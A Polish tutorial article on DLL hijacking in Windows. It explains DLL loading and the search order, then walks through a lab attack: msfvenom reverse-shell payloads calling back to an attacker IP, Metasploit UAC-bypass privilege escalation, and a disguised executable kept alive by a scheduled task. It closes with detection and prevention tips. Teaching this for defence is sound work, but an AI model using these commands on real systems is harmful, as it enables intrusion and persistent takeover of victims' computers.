16.4 C
Warszawa
sobota 27 kwietnia • 2024
Strona głównaTECHNIKACYBERBEZPIECZEŃSTWODLL HIJACKING – POZNAJ TEN ATAK HAKERSKI

DLL HIJACKING – POZNAJ TEN ATAK HAKERSKI

DLL Hijacking to atak hakerski polegający na wykorzystaniu kolejności wyszukiwania przez system operacyjny dołączanych dynamicznie bibliotek DLL w celu załadowania złośliwej biblioteki, którą system operacyjny wykorzysta w miejsce legalnej biblioteki DLL.

W niniejszym artykule prezentuję atak DLL Hijacking oraz przedstawiam jak jest przeprowadzany i jak się przed nim bronić.

Zanim jednak przejdę do omówienia samego ataku, najpierw wyjaśnię czym są pliki .dll w systemach Microsoft Windows, ponieważ omawiany atak jest dedykowany właśnie urządzeniom posiadającym różne wersje tego popularnego oprogramowania.

Pliki .dll – czym są i dlaczego są tak istotne?

Na wstępnie warto zaznaczyć, że określenie „dll” odnosi się zarówno do bibliotek, jak i do poszczególnych plików.

  1. Biblioteki DLL:

    Sam skrót DLL oznacza Dynamic-Link Library, czyli bibliotekę łączoną dynamicznie, bibliotekę współdzieloną (shared library) właściwą dla systemów Microsoft Windows, która przechowuje implementacje różnych podprogramów określonego programu lub jego zasoby. Innymi słowy bibloteki DLL są zbiorami zasobów, z których mogą korzystać różne aplikacje.

    Podprogramy i zasoby znajdujące się w bibliotece DLL mogą być wykorzystywane bezpośrednio lub pośrednio, tj. za pośrednictwem innej biblioteki DLL, przez dowolny plik wykonywalny. Natomiast sama biblioteka DLL nie jest samodzielnym programem.

    Z uwagi na to, że zasoby i podprogramy znajdujące się w bibliotece DLL mogą być w tym samym czasie importowane przez wiele programów, przyjęta została także nazwa „biblioteka współdzielona”. Sam import zachodzi dynamicznie i jest wykonywany przez oddzielny fragment programu, a modyfikacja bibliotek DLL w takim programie nie wymaga przeprowadzania ponownej konsolidacji takiego programu. Jednakże jeśli współdzielona biblioteka nie będzie posiadała określonego pliku lub importowanych funkcji, a także jeśli wystąpi problem z wczytaniem takiej biblioteki, wówczas nie będzie możliwe uruchomienie programu.

    Natomiast same biblioteki DLL dzielą się na dwa rodzaje:

    1. Run-time dynamic linking, czyli biblioteki obecne w pamięci operacyjnej podczas całego cyklu życia programu,
    2. Load-time dynamic linking, czyli biblioteki, które są ładowane na żądanie w określonym momencie działania programu, co pozwala na wykorzystywanie tych bibliotek jako wtyczek.

    W tym miejscu warto dodać, że w systemach Microsoft Windows biblioteki DLL mają rozszerzenia .dll, a także .ocx (jeżeli biblioteka jest kontrolką ActiveX), .cpl (jeżeli biblioteka jest rozszerzeniem panelu sterowania), .drv (jeżeli biblioteka jest przestarzałym sterownikiem). Dzięki temu biblioteki DLL mogą być wykorzystywane w programach napisanych w językach dedykowanych systemom Microsoft Windows, np. Visual Basic, C, C++, C#, Object Pascal, Delphi, Asembler.

  2. Pliki .dll:

    Pliki .dll są składowymi opisanych powyżej bibliotek DLL, to one budują te biblioteki. W związku z tym cechy bibliotek łączonych dynamicznie także można przypisać plikom .dll, dzięki czemu znacząco poprawia się wydajność i modułowość w tworzeniu oprogramowania.
    Poniżej przedstawiam jak wyglądają przykładowe pliki .dll właściwe przeglądarce Internet Explorer:

    Fot.: Michał Mamica

    Pliki .dll, z których buduje się biblioteki, tworzone są przez programistów w celu wykonywania określonych funkcji, np. rysowania obrazów, obliczeń matematycznych, czy łączenia się z Internetem (powyższy przykład).

Jak działają biblioteki DLL?

W celu lepszego zrozumienia idei i mechanizmu działania bibliotek DLL, co jest niezbędne do wyjaśnienia czym jest atak DLL Hijacking, poniżej prezentuję poszczególne etapy związane z pobraniem i uruchomieniem takiej biblioteki przez program, po jego uruchomieniu (np. po kliknięciu w ikonkę programu przez użytkownika).

  1. Ładowanie plików .dll do pamięci operacyjnej:

    Po uruchomieniu pliku wykonywalnego (z rozszerzeniem .exe) system operacyjny (Microsoft Windows) najpierw do pamięci operacyjnej ładuje program. Następnie system operacyjny rozpoczyna wyszukiwanie tych bibliotek w określonych lokalizacjach, co jest opisane poniżej. Po odnalezieniu właściwej biblioteki lub bibliotek, system operacyjny ładuje je do pamięci i udostępnia je programowi, po czym rozpoczyna wykonanie tego programu.

  2. Dwa rodzaje ładowania bibliotek DLL:
    Jak wspomniałem w powyższym punkcie, biblioteki DLL są ładowane do pamięci operacyjnej podczas uruchamiania programu. Jednakże może to zachodzić na dwa sposoby, a mianowicie:

    1. Poprzez łączenie czasu ładowania (load time linking) – wówczas linker (konsolidator) rozwiązuje (rozpoznaje) wszystkie odniesienia do funkcji i zmiennych w bibliotece DLL w czasie kompilacji. Oznacza to, że program może wywoływać funkcje bezpośrednio w bibliotece DLL bez konieczności ładowania całej biblioteki do pamięci w czasie wykonywania programu. Takie rozwiązanie zwiększa rozmiar pliku wykonywalnego, lecz przyspiesza działanie programu.
    2. Poprzez łączenie w czasie wykonywania (runtime linking) – wówczas linker (kompilator) nie rozwiązuje (rozpoznaje) wszystkich odniesień do funkcji i zmiennych w bibliotece DLL w czasie kompilacji. Tym samym tworzy kod pośredniczący w pliku wykonywalnym programu, który wywołuje funkcję LoadLibraryEx w celu załadowania biblioteki DLL w czasie wykonywania programu. Dzięki temu program, wykorzystując funkcję GetProcAddress (służącą do uzyskania adresu określonej funkcji w bibliotece DLL) może wywoływać funkcje z tej biblioteki. Rozwiązanie to zmniejsza rozmiar pliku wykonywalnego programu, ale spowalnia jego działanie.

Jak system operacyjny wyszukuje biblioteki DLL?

Po załadowaniu programu do pamięci operacyjnej system operacyjny poprzez moduł ładujący biblioteki DLL (DLL Loader), który jest jego częścią, rozpoczyna wyszukiwanie konkretnej biblioteki, według ściśle określonych zasad, zwanych „Kolejnością wyszukiwania DLL” (DLL Search Order), które są następujące:

  1. katalog, z którego ładowana jest aplikacja,
  2. katalog systemowy, np. „C:\Windows\System32”,
  3. katalog systemu Windows („C:\Windows),
  4. bieżący katalog,
  5. katalogi zawarte w systemowej zmiennej środowiskowej PATH (PATH Environment Variable),
  6. katalogi w zmiennej środowiskowej PATH użytkownika,
  7. pozostałe katalogi zawarte w zmiennej środowiskowej PATH.

Kolejność wyszukiwania DLL jest niezwykle istotna dla przeprowadzenia skutecznego ataku DLL Hijacking, ponieważ znając tą kolejność można wstrzyknąć złośliwą bibliotekę DLL do lokalizacji znajdującej się na ścieżce wyszukiwania DLL Loader’a.

Czym jest atak DLL Hiacking?

Wiedząc już czym są pliki i biblioteki DLL oraz jak są one ładowane przez system operacyjny, można przejść do wyjaśnienia czym jest atak DLL Hijacking.

Mianowicie DLL Hijacking to atak hakerski polegający na wykorzystaniu kolejności wyszukiwania przez system operacyjny dołączanych dynamicznie bibliotek DLL w celu załadowania złośliwej biblioteki, którą system operacyjny wykorzysta w miejsce legalnej biblioteki DLL. W związku z tym atak ten polega na oszukaniu modułu ładującego biblioteki DLL (DLL Loader’a) w celu załadowania złośliwej biblioteki w miejsce bezpiecznej (legalnej), co prowadzi do podniesienia uprawnień systemowych przez hakera w zaatakowanym systemie operacyjnym (w zasadzie do uprawnień administracyjnych) oraz uzyskania stałego dostępu do skompromitowanego systemu operacyjnego.

Odmiany (strategie) ataku DLL Hijacking

Niezależnie od tego, że omawiany atak DLL Hijacing polega na manipulowaniu wyszukiwaniem bibliotek DLL przez DLL Loader’a, to dodatkowo można wyróżnić kilka odmian (strategii) ataku wykorzystywanych przez hakerów w zależności od konstrukcji modułu ładującego biblioteki DLL:

  1. Atak polegający na ładowaniu plików DLL (DLL Side Loading Attack) – strategia ta polega na używaniu ładowanych z boku własnych złośliwych bibliotek DLL w celu uruchamiania złośliwych payloadów. Strategia ta obejmuje kontrolę, która biblioteka DLL jest ładowana przez program, podobnie jak w przypadku strategii polegającej na przejmowaniu kolejności wyszukiwania bibliotek DLL. Ponadto haker może umieścić złośliwe payloady w legalnej aplikacji i umieścić ją w kolejności wyszukiwania bibliotek DLL, a następnie uruchomić tą aplikację w celu wykonania złośliwych payloadów, zamiast w danej lokalizacji umieszczać złośliwą bibliotekę DLL i czekać na wykonanie programu przez ofiarę ataku.
  2. Zastąpienie biblioteki DLL (DLL replacement) – strategia ta polega na zamianie przez hakera legalnej biblioteki DLL ze złośliwą biblioteką DLL i umieszczeniu złośliwej biblioteki w miejscu legalnej. W celu ułatwienia podmiany bibliotek tą odmianę ataku DLL Hijacking można połączyć z serwerem proxy DLL.
  3. Fantomowe biblioteki DLL (Phantom DLLs) – strategia ta polega na umieszczeniu złośliwej biblioteki DLL, o nazwie podobnej do legalnej biblioteki, w katalogu przeszukiwanym przez DLL Loader’a, co może spowodować, że program ten (moduł ładujący biblioteki DLL) załaduje złośliwą (fantomową) bibliotekę DLL dostarczoną przez hakera zamiast legalnej biblioteki DLL.
  4. Przejmowanie kolejności wyszukiwania bibliotek DLL (DLL Search Order Hijacking) – strategia ta polega na manipulacji przez hakera kolejnością wyszukiwania bibliotek DLL przez moduł ładujący biblioteki DLL, tak aby w pierwszej kolejności przeszukiwał lokalizację zawierającą złośliwą bibliotekę DLL, dzięki czemu zostanie załadowana złośliwa biblioteka DLL zamiast tej legalnej.
  5. Ścieżka względna (Realtive path DLL Hijacking) – strategia ta polega na skopiowaniu do folderu legalnej aplikacji wraz ze złośliwą biblioteką DLL. Co istotne do folderu tego musi mieć dostęp zwykły użytkownik posiadający uprawnienia zapisu. Dzięki takiemu działaniu można oszukać DLL Loader’a, który w momencie uruchomienia aplikacji wyszuka i załaduje złośliwą bibliotekę DLL.
  6. Znajdowanie brakujących plików DLL (Finding Missing DLL Files) – strategia ta polega na wyszukaniu brakujących plików lub bibliotek DLL w systemie operacyjnym ofiary i zastąpienie ich złośliwymi odpowiednikami, które zostaną załadowane przez DLL Loader’a i wykonane przez uruchomiony program. Dzięki temu haker będzie mógł zrealizować swoje cele, w tym podnieść uprawnienia systemowe do administracyjnych w celu przejęcia pełnej kontroli nad skompromitowanym systemem operacyjnym i zaatakowaną maszyną.
  7. Wstrzykiwanie kodu DLL (DLL Code Injection) – strategia ta polega na wstrzyknięciu złośliwego kodu do legalnego pliku DLL. Aby do tego doszło w pierwszej kolejności musi zostać przeprowadzona inżynieria wsteczna legalnej biblioteki DLL za pomocą dekompilatora (np. Ghidra). Następnie do zdekompilowanego pliku haker dodaje złośliwy kod polegający na dodaniu złośliwych funkcjonalności do typowych funkcji. Na koniec taki plik .dll jest ponownie kompilowany, a cała biblioteka DLL (zawierająca taki złośliwy plik .dll lub pliki .dll) jest kopiowana do tej samej lokalizacji, w której znajduje się legalna biblioteka DLL, tym samym zastępując ją. W związku z tym, za każdym razem, gdy zostanie wywołana dana biblioteka .dll, automatycznie wykonają się funkcje zawierające złośliwy kod.

Jak przeprowadzany jest atak DLL Hijacking?

Generalnie istnieje wiele różnych sposobów przeprowadzenia ataku DLL Hijacking. Poniżej zaprezentuję przebieg przykładowego ataku polegającego na umieszczeniu złośliwego pliku DLL w programie wykonywalnym oraz podniesienie uprawnień do uprawnień administracyjnych i ich utrzymanie w skompromitowanym systemie operacyjnym. Jednocześnie pragnę wyraźnie zaznaczyć, że jestem przeciwny wszelkiej działalności sprzecznej z prawem, a pokazanie przebiegu przykładowego ataku ma charakter jedynie edukacyjny i informacyjny.

Wracając jednak do naszego ataku, to do jego przeprowadzenia będą nam potrzebne:

  • komputer z systemem operacyjnym umożlwiającym przeprowadzenie ataku (może to być maszyna wirtualna) – w naszym przypadku będzie to Kali Linux oraz framework Metasploit,
  • komputer z systemem operacyjnym Windows (może to być maszyna wirtualna) – w naszym przypadku będzie to Windows 7 z zainstalowanym programem CFF Explorer,
  • dostęp do Internetu.
  1. Przebieg ataku:
    W systemie operacyjnym Kali Linux należy uruchomić konsolę (CLI) w celu utworzenia pliku .dll zawierającego złośliwy kod, na podstawie przedmiotowej komendy: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.191 LPORT=443 -f dll > pdmm.dll, co jest widoczne na poniższym screenie:

    Fot.: Michał Mamica

    W naszym przypadku tworzymy złośliwy plik .dll o nazwie „pdmm”. Będzie on odpowiadał za nawiązanie połączenia po porcie 443 (oczywiście można wskazać dowolnie inny port – mamy ich do wyboru aż 65 535) z hostem (maszyną atakującego) posiadającą adres IP 192.168.10.191. Jako protokół transportowy zostanie użyty protokół TCP, a sesja będzie nawiązana zwrotnie (reverse), czyli to urządzenie ofiary będzie nawiązywało połączenie z urządzeniem atakującego, które będzie nasłuchiwało połączenia od urządzenia ofiary na porcie logicznym 443. Taka konstrukcja payloda pozwala na ominięcie firewalla na urządzeniu ofiary, ponieważ z punktu widzenia maszyny atakowanego nawiązywane jest połączenie wychodzące, a nie przychodzące, które mógłby firewall zablokować. Po nawiązaniu połączenia otwierana jest interaktywna powłoka (meterpreter), która służy do badania maszyny ofiary i wykonania kodu. Nasz payload jest dedykowany urządzeniom z systemem operacyjnym Microsoft Windows o architekturze 64 bitowej (x64).

  2. Następnie zadaniem hakera jest dostarczenie tak przygotowanego złośliwego pliku .dll i zapisanie go w programie wykonywalnym CFF Explorer: ścieżka „C:\ProgramFiles\NTCore\Explorer Suite”. W naszym przykładzie pominę ten krok. Po dostarczeniu pliku .dll należy zmienić mu nazwę na „CFF ExplorerENU.dll”. Zapisany złośliwy plik na komputerze ofiary wygląda następująco:

    Fot.: Michał Mamica

    Dodam jedynie, że plik taki może być dostarczony zarówno na skutek innego ataku hakerskiego, jak i za pomocą inżynierii społecznej i phishingu.

  3. Kolejnym krokiem jest uruchomienie programu Metasploit oraz dokonanie takiej konfiguracji, aby program ten mógł odebrać sesje przychodzące z urządzenia ofiary. Do tego celu należy otworzyć drugą konsolę w systemie operacyjnym Kali Linux i wpisać komendę msfconsole. Następnie należy wywołać komendę use exploit/multi/handler w celu przygotowania exploita umożliwiającego nawiązanie połączenia z maszyną ofiary, co wygląda następująco:

    Fot.: Michał Mamica

    Następnie poprzez komendę show options dowiadujemy się jakie elementy exploita musimy ustawić, aby skutecznie go wykorzystać. Elementami tymi są:

    1. payload (domyślnie ustawiony jest generic/shell_reverce_tcp), a nasz musi być zgodny z payloadem zawartym z wcześniej dostarczonym ofierze złośliwym plikiem .dll, wobec czego, aby prawidłowo ustawić ten element należy wpisać komendę set payload payload/windows/x64/meterpreter/reverse_tcp, co wygląda następująco:

      Fot.: Michał Mamica
    2. adres IP maszyny hakera, która będzie nasłuchiwała połączenia przychodzącego od urządzenia ofiary – adres ten ustawiamy wpisując polecenie set LHOST 192.168.10.191. Pamiętaj, że zapewne adres IP Twojej maszyny atakującej będzie inny niż wpisany w moim przykładzie. Możesz go sprawdzić wywołując komendę ifconfig lub ip address.

    3. port, na którym maszyna hakera będzie nasłuchiwała połączenia przychodzącego – numer portu ustawiamy wpisując komendę set LPORT 443. Jak wspomniałem wyżej, możesz ustawić dowolny inny port, jednak dobrze jest ustawić port spoza zakresu portów dobrze znanych (zarezerwowanych), tj. od 0 do 1023.

    Poniżej przedstawiam jak wyglądają kolejno wywoływane powyższe komendy:

    Fot.: Michał Mamica

    Dobrze jest jeszcze raz sprawdzić, czy wszystkie wymagane elementy exploita są prawidłowo ustawione. Dokonujemy tego ponownie wywołując komendę show options:

  4. W celu uruchomienia exploita i nawiązania sesji z maszyną ofiary wpisujemy polecenie run lub exploit:
    Fot.: Michał Mamica

    W tym miejscu nadmienię, że polecenie sysinfo wyświetla informacje o systemie operacyjnym pracującym na urządzeniu ofiary, polecenie getuid informuje nas o poziomie uprawnień (aktualnie jesteśmy zalogowani jako zwykły użytkownik), a polecenie getsystem służy do podniesienia uprawnień do uprawnień administracyjnych.

  5. Jak widać na powyższym zrzucie z ekranu nie udało nam się podnieść uprawnień do uprawnień systemowych. Aby jednak tego dokonać musimy najpierw nawiązaną sesję ustawić w tle poleceniem background, a następnie wyszukujemy moduł poeksploatacyjny używany do weryfikacji systemu ofiary pod kątem posiadanych luk w zabezpieczeniach (podatności). W tym celu wpisujemy polecenie search local exploit suggester. Po wyświetleniu wyników wyszukiwania wpisujemy komendę use 0, która umożliwia nam wybranie właściwego modułu. W celu prawidłowego skonfigurowania modułu wywołujemy polecenie show options. Mamy do ustawienia tylko jeden element, czyli numer nawiązanej sesji, który możemy sprawdzić poleceniem sessions. Ustawiając ten element wpisujemy komendę set SESSION 1. Kolejno wykonywane komendy widać na poniższym screenie:

    Fot.: Michał Mamica
  6. Po ustawieniu numeru sesji możemy wywołać komendę run:
    Fot.: Michał Mamica

    Po czym zostaną wyświetlone exploity umożliwiające wykorzystanie podatności wykrytych w systemie operacyjnym ofiary. Nas interesują te umożliwiające podniesienie uprawnień (pierwsze trzy). Na marginesie dodam, że próbowałem podnieść uprawnienia wymienionymi trzema exploitami i jedynie skutecznie działał „bypassuac_eventvwr” oznaczony numerem 2. Jednakże nie jest to regułą i podczas Twojego testu penetracyjnego (symulacji ataku) mogą równie skutecznie działać dwa pozostałe exploity.

  7. Kolejno wybieramy exploit, który wykorzystamy do podniesienia uprawnień użytkownika w systemie operacyjnym ofiary, w naszym przypadku wybieramy exploita nr 2 i wpisujemy komendę use exploit/windows/local/bypassuac_eventvwr a następnie weryfikujemy za pomocą polecenia show options jakie elementy tego exploita musimy ustawić:

    Fot.: Michał Mamica

    W naszym przypadku tymi elementami są:

    1. numer sesji, co ustawiamy poleceniem set SESSION 1:

      Fot.: Michał Mamica
    2. payload (domyślnie jest ustawiony dla systemów o architekturze 32 bitowej), który ustawiamy poleceniem set payload payload/windows/x64/meterpreter/reverse_tcp:

      Fot.: Michał Mamica
    3. target (domyślnie ustawiony jest dla systemów o architekturze 32 bitowej), który ustawiamy poleceniem set target 1:

      Fot.: Michał Mamica
  8. W celu sprawdzenia, czy wszystkie elementy exploita zostały poprawnie ustawione ponownie wywołujemy komendę show options i jeśli wszystko się zgadza wpisujemy polecenie run:

    Fot.: Michał Mamica
  9. Tym exploitem ustanawiamy drugą sesję. W celu sprawdzenia jakie posiadamy aktualnie uprawnienia wywołujemy polecenie getuid. Jak widać w dalszym ciągu mamy uprawnienia zwykłego użytkownika. Aby to zmienić wpisujemy komendę getsystem. Następnie ponownie możemy zweryfikować nasze uprawnienia systemowe wywołując polecenie getuid.

    Fot.: Michał Mamica

    Jak widać teraz mamy pełne uprawnienia administracyjne, w związku z czym możemy dowolnie zarządzać system operacyjnym ofiary i uzyskać dostęp do dowolnych danych!

  10. Kolejnym krokiem, który w tym wypadku wydaje się zasadny jest zapisanie w systemie operacyjnym ofiary kolejnego pliku zawierającego złośliwy kod, który będzie odpowiedzialny, podobnie jak nasz pierwszy plik .dll za nawiązywanie połączenia z komputerem atakującego i otwarcie interaktywnej powłoki meterpreter, jednakże w ściśle określonym harmonogramie. Takie działanie hakera umożliwia utrzymanie dostępu do urządzenia ofiary, nawet po restarcie, czy ponownym uruchomieniu komputera osoby atakowanej.

    W tym celu w systemie operacyjnym Kali Linux otwieramy kolejną konsolę i wpisujemy następującą komendę: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.191 LPORT=4321 -f exe > AppDiags.exe, co jest widoczne na poniższym screenie:

    Fot.: Michał Mamica

    Tym razem plik jest w formacie wykonywalnym (.exe), a jego nazwa ma na celu niewzbudzanie podejrzeń przy przeglądaniu przez użytkownika uruchomionych procesów w systemie operacyjnym.

  11. Następnie za pomocą nawiązanej sesji kopiujemy złośliwy plik do urządzenia ofiary i zapisujemy go w pliku, który nie powinien budzić podejrzeń, poprzez wywołanie następującej komendy dir /s /b „C:\Windows\AppPatch\AppDiags.exe”:

    Fot.: Michał Mamica

    Ja wybrałem folder „AppPatch” zawarty w folderze „Windows” na dysku „C”. Oczywiście Ty możesz wybrać dowolny inny folder, zgodnie z Twoimi preferencjami.

  12. W celu potwierdzenia, czy rzeczywiście nasz plik został zapisany we wskazanej lokalizacji przechodzimy do konsoli systemu Windows poleceniem shell:

    Fot.: Michał Mamica

    Następnie wywołujemy polecenie dir /s /b „C:\WindowsAppPatch\AppDiags.exe”:

    Fot.: Michał Mamica

    Oczywiście możesz wybrać dowolną inną lokalizację zgodnie z Twoimi preferencjami.

  13. Skoro już wiemy, że nasz exploit jest zapisany w wybranej przez nas lokalizacji, to ustawiamy harmonogram nawiązywania połączenia z komputerem atakującego. Ja wybrałem, aby system operacyjny osoby zaatakowanej automatycznie próbował nawiązywać połączenie codziennie o godzinie 21:30, a sam harmonogram nazwałem „appdiagsprocess”:

    Fot.: Michał Mamica

    Oczywiście możesz wybrać dowolnie inny harmonogram oraz zupełnie inaczej go nazwać.

Powyżej zaprezentowany atak jest jednym z najprostszych, ale ma na celu pokazanie w jaki sposób haker może przejąć kontrolę nad urządzeniem za pomocą ataku DLL Hijacking.

Jednak zwykli użytkownicy nie są całkowicie pozbawieni obrony przed tego typu atakami hakreskimi, o czym traktuje poniższa część niniejszego artykułu.

Jak rozpoznać atak DLL Hijacking?

Niezwykle skutecznym narzędziem służącym do identyfikacji ataków DLL Hijacking jest program systemu Windows o nazwie „Process Explorer”. Działa on poprzez pokazywanie w czasie rzeczywistym wszystkich ładownych plików systemowych. Dzięki użyciu odpowiednich filtrów można zidentyfikować pliki .dll, które nie pasują i wskazują, że jest się ofiarą ataku DLL Hijacking.

Jak zapobiegać atakom DLL Hijacking?

W celu zapobiegania atakom DLL Hijacking należy stosować się do poniższych zaleceń:

    1. Korzystanie z w pełni kwalifikowanych ścieżek – co może uniemożliwić systemowi Windows, a w zasadzie DLL Loader’owi, wyszukiwanie bibliotek DLL w nieoczekiwanych lokalizacjach. Jest to o tyle istotne, gdyż atak DLL Hijacking jest możliwy do przeprowadzenia, ponieważ haker umieszcza złośliwy plik .dll w lokalizacji przeszukiwanej przez moduł obsługujący ładownie bibliotek DLL przed lokalizacją w której zamieszczony jest właściwy (legalny) plik .dll.
    2. Posiadanie aktualnego i najnowszego oprogramowania i systemu operacyjnego, co zapewnia, że wszystkie znane podatności w zabezpieczeniach zostały załatane.
    3. Używanie białej listy aplikacji, która pozwala na uruchamianie tylko określonych programów, dzięki czemu niemożliwe jest uruchomienie niezaufanej aplikacji.
    4. Używanie wyłącznie zaufanego oprogramowania, które jest podpisane cyfrowo i zweryfikowane przez zaufane źródło, co oznacza, że nie zostało ono naruszone.
    5. Korzystanie z oprogramowania odpowiedzialnego za bezpieczeństwo systemu, takiego jak odpowiednio skonfigurowana zapora sieciowa (firewall) oraz aktualny program antywirusowy, co zapobiega nieautoryzowanemu dostępowi do systemu oraz pozwala na objęcie systemu operacyjnego stałym monitoringiem pod kątem podejrzanych i złośliwych działań.
    6. Nieużywanie kont administracyjnych lub uprzywilejowanych do uruchamiania oprogramowania, a zwłaszcza niezaufanych aplikacji innych firm.
    7. Wprowadzenie kontroli dostępu do katalogów, w których przechowywane są pliki .dll, przy czym zasadnym jest umożliwienie dostępu do takich katalogów jedynie przez autoryzowanych użytkowników (np. tylko administratorów), co może znacząco utrudnić lub nawet uniemożliwić hakerowi zamieszczenie złośliwych pików .dll w programie podatnym na takie ataki.
    8. Przeprowadzanie regularnych audytów bezpieczeństwa systemów pod kątem występowania luk w zabezpieczeniach oraz technik programowania kładących nacisk na bezpieczeństwo tworzonych aplikacji.
    9. Wdrażanie dobrej postawy bezpieczeństwa poprzez posiadanie właściwego poziomu zabezpieczeń w firmie lub organizacji, a także poprzez przeprowadzanie regularnych szkoleń z cyberbezpieczeństwa oraz wdrożenie i stosowanie najlepszych praktyk w zakresie bezpieczeństwa cyfrowego.

Podsumowanie:

Ataki DLL Hijacking są znane już od wielu lat i nadal stanowią duże zagrożenie dla bezpieczeństwa systemów operacyjnych Microsoft Windows. Do tej pory ataki te są powszechnie wykorzystywane przez wiele grup hakerskich, z których chociażby można wymienić: APT41, Astaroth, BackdoorDiplomacy, ThreatGroup-3390, czy Tonto team.

Niemniej jednak stosując się do najlepszych praktyk z dziedziny cyberbezpieczeństwa i mając świadomość istniejącego zagrożenia, można skutecznie chronić się przed atakami DLL Hijacking.

Autor: Michał Mamica

Zobacz również

SKOMENTUJ

Proszę wpisać swój komentarz!
Proszę podać swoje imię tutaj

Artykuły

Komentarze